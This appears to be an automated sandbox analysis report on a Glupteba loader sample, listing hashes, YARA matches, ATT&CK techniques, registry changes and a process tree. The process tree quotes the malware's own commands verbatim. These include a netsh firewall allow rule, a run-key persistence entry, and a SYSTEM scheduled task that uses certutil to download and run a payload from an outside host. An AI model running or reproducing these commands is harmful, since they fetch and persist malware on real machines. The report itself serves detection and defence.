glupteba | 02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72

General

Target

02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
Size

3.8MB
MD5

1b71b9899cbe3513a4cb573eef91d381
SHA1

c85e8daa176b4bf1e86faa9540322cbe8cf0957e
SHA256

02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72
SHA512

93ce39ef77ce676f78a469fffc881ee56181fd4608a54a89eda9f0cc48dd07360c7a980099a82dbf8e561a80f9161cc5ac6306110ab52a889a2e9f68e1b79de0
SSDEEP

98304:hPT34L/WJ4PxMxbclYYmEjPZkW1CYqCXEtrYw9OrzuWn0pQ:hrIL/yWix6tmcOuXBIbsrzH

Score

10^/10

glupteba discovery dropper evasion loader persistence

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/796-133-0x0000000003960000-0x0000000004056000-memory.dmp	family_glupteba
behavioral2/memory/796-134-0x0000000000400000-0x0000000003341000-memory.dmp	family_glupteba
behavioral2/memory/796-136-0x0000000000400000-0x0000000003341000-memory.dmp	family_glupteba
behavioral2/memory/4864-141-0x0000000000400000-0x0000000003341000-memory.dmp	family_glupteba
behavioral2/memory/4864-144-0x0000000000400000-0x0000000003341000-memory.dmp	family_glupteba
behavioral2/memory/5028-146-0x0000000000400000-0x0000000003341000-memory.dmp	family_glupteba
behavioral2/memory/5028-152-0x0000000000400000-0x0000000003341000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 3968 created 796	3968	svchost.exe	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
PID 3968 created 5028	3968	svchost.exe	csrss.exe
PID 3968 created 5028	3968	svchost.exe	csrss.exe
PID 3968 created 5028	3968	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

5028 csrss.exe
3312 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

4348 netsh.exe

pid	process
5028	csrss.exe
3312	patch.exe

pid	process
4348	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PatientFire = "\"C:\\Windows\\rss\\csrss.exe\""	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

4804 bcdedit.exe

pid	process
4804	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
File opened for modification	C:\Windows\rss	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3660 schtasks.exe
432 schtasks.exe

pid	process
3660	schtasks.exe
432	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.execsrss.exe

pid	process
796	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
796	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
4864	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
4864	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
5028	csrss.exe
5028	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	796	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
Token: SeImpersonatePrivilege	796	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
Token: SeTcbPrivilege	3968	svchost.exe
Token: SeTcbPrivilege	3968	svchost.exe
Token: SeBackupPrivilege	3968	svchost.exe
Token: SeRestorePrivilege	3968	svchost.exe
Token: SeBackupPrivilege	3968	svchost.exe
Token: SeRestorePrivilege	3968	svchost.exe
Token: SeBackupPrivilege	3968	svchost.exe
Token: SeRestorePrivilege	3968	svchost.exe
Token: SeBackupPrivilege	3968	svchost.exe
Token: SeRestorePrivilege	3968	svchost.exe
Token: SeSystemEnvironmentPrivilege	5028	csrss.exe
Token: SeBackupPrivilege	3968	svchost.exe
Token: SeRestorePrivilege	3968	svchost.exe
Token: SeBackupPrivilege	3968	svchost.exe
Token: SeRestorePrivilege	3968	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.execmd.execsrss.exe

description	pid	process	target process
PID 3968 wrote to memory of 4864	3968	svchost.exe	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
PID 3968 wrote to memory of 4864	3968	svchost.exe	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
PID 3968 wrote to memory of 4864	3968	svchost.exe	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
PID 4864 wrote to memory of 1352	4864	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe	cmd.exe
PID 4864 wrote to memory of 1352	4864	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe	cmd.exe
PID 1352 wrote to memory of 4348	1352	cmd.exe	netsh.exe
PID 1352 wrote to memory of 4348	1352	cmd.exe	netsh.exe
PID 4864 wrote to memory of 5028	4864	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe	csrss.exe
PID 4864 wrote to memory of 5028	4864	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe	csrss.exe
PID 4864 wrote to memory of 5028	4864	02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe	csrss.exe
PID 3968 wrote to memory of 432	3968	svchost.exe	schtasks.exe
PID 3968 wrote to memory of 432	3968	svchost.exe	schtasks.exe
PID 3968 wrote to memory of 3660	3968	svchost.exe	schtasks.exe
PID 3968 wrote to memory of 3660	3968	svchost.exe	schtasks.exe
PID 3968 wrote to memory of 3312	3968	svchost.exe	patch.exe
PID 3968 wrote to memory of 3312	3968	svchost.exe	patch.exe
PID 5028 wrote to memory of 4804	5028	csrss.exe	bcdedit.exe
PID 5028 wrote to memory of 4804	5028	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
"C:\Users\Admin\AppData\Local\Temp\02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:796

C:\Users\Admin\AppData\Local\Temp\02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe
"C:\Users\Admin\AppData\Local\Temp\02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4864

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1352

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:4348

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5028

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3660

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:432

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:3312

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:4804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3968

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
1b71b9899cbe3513a4cb573eef91d381

SHA1
c85e8daa176b4bf1e86faa9540322cbe8cf0957e

SHA256
02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72

SHA512
93ce39ef77ce676f78a469fffc881ee56181fd4608a54a89eda9f0cc48dd07360c7a980099a82dbf8e561a80f9161cc5ac6306110ab52a889a2e9f68e1b79de0

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
1b71b9899cbe3513a4cb573eef91d381

SHA1
c85e8daa176b4bf1e86faa9540322cbe8cf0957e

SHA256
02017722341115babcbc733f26ad836989126cffb079932a55da1d43c3a80e72

SHA512
93ce39ef77ce676f78a469fffc881ee56181fd4608a54a89eda9f0cc48dd07360c7a980099a82dbf8e561a80f9161cc5ac6306110ab52a889a2e9f68e1b79de0

Download Submit
memory/432-147-0x0000000000000000-mapping.dmp

Download
memory/796-132-0x00000000035AC000-0x0000000003953000-memory.dmp

Filesize
3.7MB

Download
memory/796-133-0x0000000003960000-0x0000000004056000-memory.dmp

Filesize
7.0MB

Download
memory/796-134-0x0000000000400000-0x0000000003341000-memory.dmp

Filesize
47.3MB

Download
memory/796-136-0x0000000000400000-0x0000000003341000-memory.dmp

Filesize
47.3MB

Download
memory/1352-137-0x0000000000000000-mapping.dmp

Download
memory/3312-149-0x0000000000000000-mapping.dmp

Download
memory/3660-148-0x0000000000000000-mapping.dmp

Download
memory/4348-138-0x0000000000000000-mapping.dmp

Download
memory/4804-151-0x0000000000000000-mapping.dmp

Download
memory/4864-144-0x0000000000400000-0x0000000003341000-memory.dmp

Filesize
47.3MB

Download
memory/4864-141-0x0000000000400000-0x0000000003341000-memory.dmp

Filesize
47.3MB

Download
memory/4864-139-0x00000000037CE000-0x0000000003B75000-memory.dmp

Filesize
3.7MB

Download
memory/4864-135-0x0000000000000000-mapping.dmp

Download
memory/5028-140-0x0000000000000000-mapping.dmp

Download
memory/5028-145-0x0000000003C00000-0x0000000003FA7000-memory.dmp

Filesize
3.7MB

Download
memory/5028-146-0x0000000000400000-0x0000000003341000-memory.dmp

Filesize
47.3MB

Download
memory/5028-152-0x0000000000400000-0x0000000003341000-memory.dmp

Filesize
47.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads